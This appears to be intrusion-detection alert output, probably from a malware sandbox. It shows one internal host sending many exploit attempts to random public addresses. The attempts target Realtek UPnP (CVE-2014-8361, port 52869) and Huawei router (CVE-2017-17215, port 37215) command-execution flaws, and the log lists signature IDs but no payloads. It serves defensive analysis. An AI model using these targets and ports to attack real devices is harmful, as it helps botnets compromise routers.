Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 180.13.32.83

Timestamp:	07/20/24-23:01:44.700808
SID:	2831300
Source Port:	55012
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 42.208.30.144

Timestamp:	07/20/24-23:01:46.913205
SID:	2831300
Source Port:	47070
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.77.110.3

Timestamp:	07/20/24-23:01:31.974907
SID:	2835222
Source Port:	59308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 163.50.116.249

Timestamp:	07/20/24-23:01:51.096458
SID:	2025132
Source Port:	59468
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 201.250.207.152

Timestamp:	07/20/24-23:01:04.147433
SID:	2025132
Source Port:	34558
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 100.41.144.113

Timestamp:	07/20/24-23:01:20.591485
SID:	2027339
Source Port:	52570
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 69.102.162.227

Timestamp:	07/20/24-23:01:45.094539
SID:	2025132
Source Port:	60544
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.21.129.208

Timestamp:	07/20/24-23:00:59.168569
SID:	2835222
Source Port:	48142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.201.15.228

Timestamp:	07/20/24-23:01:02.055683
SID:	2829579
Source Port:	37208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.43.73.86

Timestamp:	07/20/24-23:01:02.272048
SID:	2027339
Source Port:	42216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 182.253.24.216

Timestamp:	07/20/24-23:01:04.228868
SID:	2835222
Source Port:	33362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 146.185.97.186

Timestamp:	07/20/24-23:01:48.255782
SID:	2831300
Source Port:	41630
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 61.42.34.219

Timestamp:	07/20/24-23:01:43.243465
SID:	2831300
Source Port:	57270
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 217.231.155.95

Timestamp:	07/20/24-23:01:44.470424
SID:	2025132
Source Port:	35058
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 129.246.142.35

Timestamp:	07/20/24-23:02:16.745304
SID:	2831300
Source Port:	32840
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 206.37.245.255

Timestamp:	07/20/24-23:01:57.429251
SID:	2831300
Source Port:	40982
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 77.77.58.220

Timestamp:	07/20/24-23:01:01.881568
SID:	2025132
Source Port:	35860
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 202.174.156.78

Timestamp:	07/20/24-23:02:01.320866
SID:	2025132
Source Port:	58754
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.56.95.76

Timestamp:	07/20/24-23:01:42.740527
SID:	2027339
Source Port:	36918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 197.85.104.215

Timestamp:	07/20/24-23:01:43.557453
SID:	2831300
Source Port:	39592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.132.250.53

Timestamp:	07/20/24-23:01:45.098864
SID:	2027339
Source Port:	42266
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.236.237.70

Timestamp:	07/20/24-23:01:53.059916
SID:	2027339
Source Port:	54154
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.99.111.146

Timestamp:	07/20/24-23:01:24.867858
SID:	2835222
Source Port:	54490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.60.131.118

Timestamp:	07/20/24-23:01:20.156820
SID:	2829579
Source Port:	34000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 217.141.116.135

Timestamp:	07/20/24-23:01:43.555329
SID:	2027339
Source Port:	33944
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.124.141.209

Timestamp:	07/20/24-23:01:46.340763
SID:	2025132
Source Port:	53506
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 94.66.88.32

Timestamp:	07/20/24-23:01:42.762943
SID:	2831300
Source Port:	53296
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.156.131.187

Timestamp:	07/20/24-23:01:04.098909
SID:	2835222
Source Port:	33448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.33.245.21

Timestamp:	07/20/24-23:00:59.204975
SID:	2835222
Source Port:	39976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 219.135.178.135

Timestamp:	07/20/24-23:02:01.929550
SID:	2831300
Source Port:	55272
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.45.118.19

Timestamp:	07/20/24-23:01:07.075937
SID:	2829579
Source Port:	40714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 43.224.149.155

Timestamp:	07/20/24-23:01:51.400635
SID:	2025132
Source Port:	35110
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.12.204.52

Timestamp:	07/20/24-23:00:57.221026
SID:	2835222
Source Port:	46136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.140.169.156

Timestamp:	07/20/24-23:01:41.567823
SID:	2027339
Source Port:	53212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 173.172.122.41

Timestamp:	07/20/24-23:01:46.329269
SID:	2025132
Source Port:	56996
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.93.73.144

Timestamp:	07/20/24-23:01:50.901722
SID:	2027339
Source Port:	58344
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.86.188.195

Timestamp:	07/20/24-23:01:42.374542
SID:	2027339
Source Port:	38602
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.111.39.192

Timestamp:	07/20/24-23:01:54.693625
SID:	2027339
Source Port:	60830
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 86.220.55.191

Timestamp:	07/20/24-23:01:45.164161
SID:	2831300
Source Port:	42482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.124.21.88

Timestamp:	07/20/24-23:01:34.064573
SID:	2829579
Source Port:	50696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 68.175.73.118

Timestamp:	07/20/24-23:01:42.104533
SID:	2027339
Source Port:	51844
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.98.32.121

Timestamp:	07/20/24-23:01:08.559315
SID:	2027339
Source Port:	44538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.255.56.23

Timestamp:	07/20/24-23:01:25.940871
SID:	2027339
Source Port:	60192
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.100.29.197

Timestamp:	07/20/24-23:01:27.653028
SID:	2835222
Source Port:	49014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.156.179.148

Timestamp:	07/20/24-23:01:27.660099
SID:	2835222
Source Port:	43594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 24.80.173.172

Timestamp:	07/20/24-23:01:45.667238
SID:	2025132
Source Port:	33240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.30.224.199

Timestamp:	07/20/24-23:01:41.372363
SID:	2027339
Source Port:	43162
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 106.4.213.108

Timestamp:	07/20/24-23:01:11.631728
SID:	2835222
Source Port:	42374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.8.251.245

Timestamp:	07/20/24-23:01:52.838688
SID:	2027339
Source Port:	52806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 102.134.118.47

Timestamp:	07/20/24-23:01:41.467111
SID:	2027339
Source Port:	37268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 52.97.71.90

Timestamp:	07/20/24-23:01:42.758954
SID:	2027339
Source Port:	59620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 204.255.198.47

Timestamp:	07/20/24-23:01:51.500991
SID:	2831300
Source Port:	49978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.181.35.71

Timestamp:	07/20/24-23:01:08.693187
SID:	2027339
Source Port:	46180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 148.60.185.225

Timestamp:	07/20/24-23:01:24.916250
SID:	2829579
Source Port:	44788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 157.175.172.46

Timestamp:	07/20/24-23:01:55.870348
SID:	2831300
Source Port:	39428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 69.23.248.153

Timestamp:	07/20/24-23:01:42.687128
SID:	2027339
Source Port:	38254
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 96.23.98.70

Timestamp:	07/20/24-23:01:51.483441
SID:	2025132
Source Port:	33916
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.245.117.149

Timestamp:	07/20/24-23:01:45.775798
SID:	2027339
Source Port:	40262
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 191.79.195.70

Timestamp:	07/20/24-23:01:08.563906
SID:	2831300
Source Port:	50832
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 23.227.245.165

Timestamp:	07/20/24-23:01:53.392806
SID:	2025132
Source Port:	59554
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.174.61.133

Timestamp:	07/20/24-23:01:02.104572
SID:	2829579
Source Port:	44882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.129.227.171

Timestamp:	07/20/24-23:01:20.603553
SID:	2027339
Source Port:	59972
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.53.235.233

Timestamp:	07/20/24-23:01:07.082045
SID:	2829579
Source Port:	34088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 207.164.129.53

Timestamp:	07/20/24-23:01:43.078618
SID:	2831300
Source Port:	51042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 155.165.181.96

Timestamp:	07/20/24-23:01:00.635367
SID:	2835222
Source Port:	39392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.115.1.86

Timestamp:	07/20/24-23:01:11.636599
SID:	2829579
Source Port:	42506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.159.104.180

Timestamp:	07/20/24-23:02:04.133789
SID:	2027339
Source Port:	44138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 106.229.130.40

Timestamp:	07/20/24-23:01:12.811667
SID:	2831300
Source Port:	36698
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 19.15.33.52

Timestamp:	07/20/24-23:01:42.656962
SID:	2831300
Source Port:	42998
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.160.155.29

Timestamp:	07/20/24-23:01:24.916250
SID:	2835222
Source Port:	34934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 213.180.197.99

Timestamp:	07/20/24-23:01:42.452119
SID:	2831300
Source Port:	40286
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 138.38.220.62

Timestamp:	07/20/24-23:01:42.142802
SID:	2025132
Source Port:	39466
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 49.96.236.62

Timestamp:	07/20/24-23:01:53.909434
SID:	2831300
Source Port:	46270
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 222.178.130.155

Timestamp:	07/20/24-23:01:54.277123
SID:	2027339
Source Port:	55390
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.218.93.135

Timestamp:	07/20/24-23:01:02.104571
SID:	2829579
Source Port:	52394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 85.213.237.39

Timestamp:	07/20/24-23:01:10.501913
SID:	2025132
Source Port:	55566
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.59.47.171

Timestamp:	07/20/24-23:01:51.790169
SID:	2027339
Source Port:	32904
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 45.144.124.12

Timestamp:	07/20/24-23:01:25.965816
SID:	2025132
Source Port:	56820
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 199.214.91.137

Timestamp:	07/20/24-23:01:01.171532
SID:	2025132
Source Port:	38296
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 125.246.56.225

Timestamp:	07/20/24-23:01:42.688831
SID:	2831300
Source Port:	35844
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 45.226.155.34

Timestamp:	07/20/24-23:01:48.036012
SID:	2831300
Source Port:	46612
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.254.9.54

Timestamp:	07/20/24-23:01:07.062666
SID:	2829579
Source Port:	41676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 45.244.207.174

Timestamp:	07/20/24-23:01:42.915641
SID:	2025132
Source Port:	57594
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.180.197.99

Timestamp:	07/20/24-23:01:41.328264
SID:	2027339
Source Port:	39722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 73.113.35.189

Timestamp:	07/20/24-23:01:41.620386
SID:	2027339
Source Port:	49108
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.52.45.132

Timestamp:	07/20/24-23:00:57.222207
SID:	2835222
Source Port:	39796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 12.65.191.23

Timestamp:	07/20/24-23:01:43.475010
SID:	2025132
Source Port:	39358
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 167.63.84.166

Timestamp:	07/20/24-23:01:12.806839
SID:	2831300
Source Port:	54258
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.184.58.202

Timestamp:	07/20/24-23:01:54.277122
SID:	2027339
Source Port:	55422
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.18.44.19

Timestamp:	07/20/24-23:01:25.275555
SID:	2027339
Source Port:	46150
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 76.17.111.28

Timestamp:	07/20/24-23:01:02.048214
SID:	2835222
Source Port:	35414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 132.102.141.171

Timestamp:	07/20/24-23:01:08.667513
SID:	2831300
Source Port:	55916
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 52.121.181.216

Timestamp:	07/20/24-23:01:43.763925
SID:	2025132
Source Port:	48326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.67.179.143

Timestamp:	07/20/24-23:00:59.178062
SID:	2829579
Source Port:	34032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.157.20.139

Timestamp:	07/20/24-23:01:31.312234
SID:	2027339
Source Port:	47832
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 180.60.94.64

Timestamp:	07/20/24-23:01:47.805449
SID:	2025132
Source Port:	44524
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 216.174.225.184

Timestamp:	07/20/24-23:01:08.572197
SID:	2831300
Source Port:	41398
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.112.9.246

Timestamp:	07/20/24-23:01:08.594120
SID:	2027339
Source Port:	60104
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 42.30.159.48

Timestamp:	07/20/24-23:02:04.520145
SID:	2025132
Source Port:	50896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

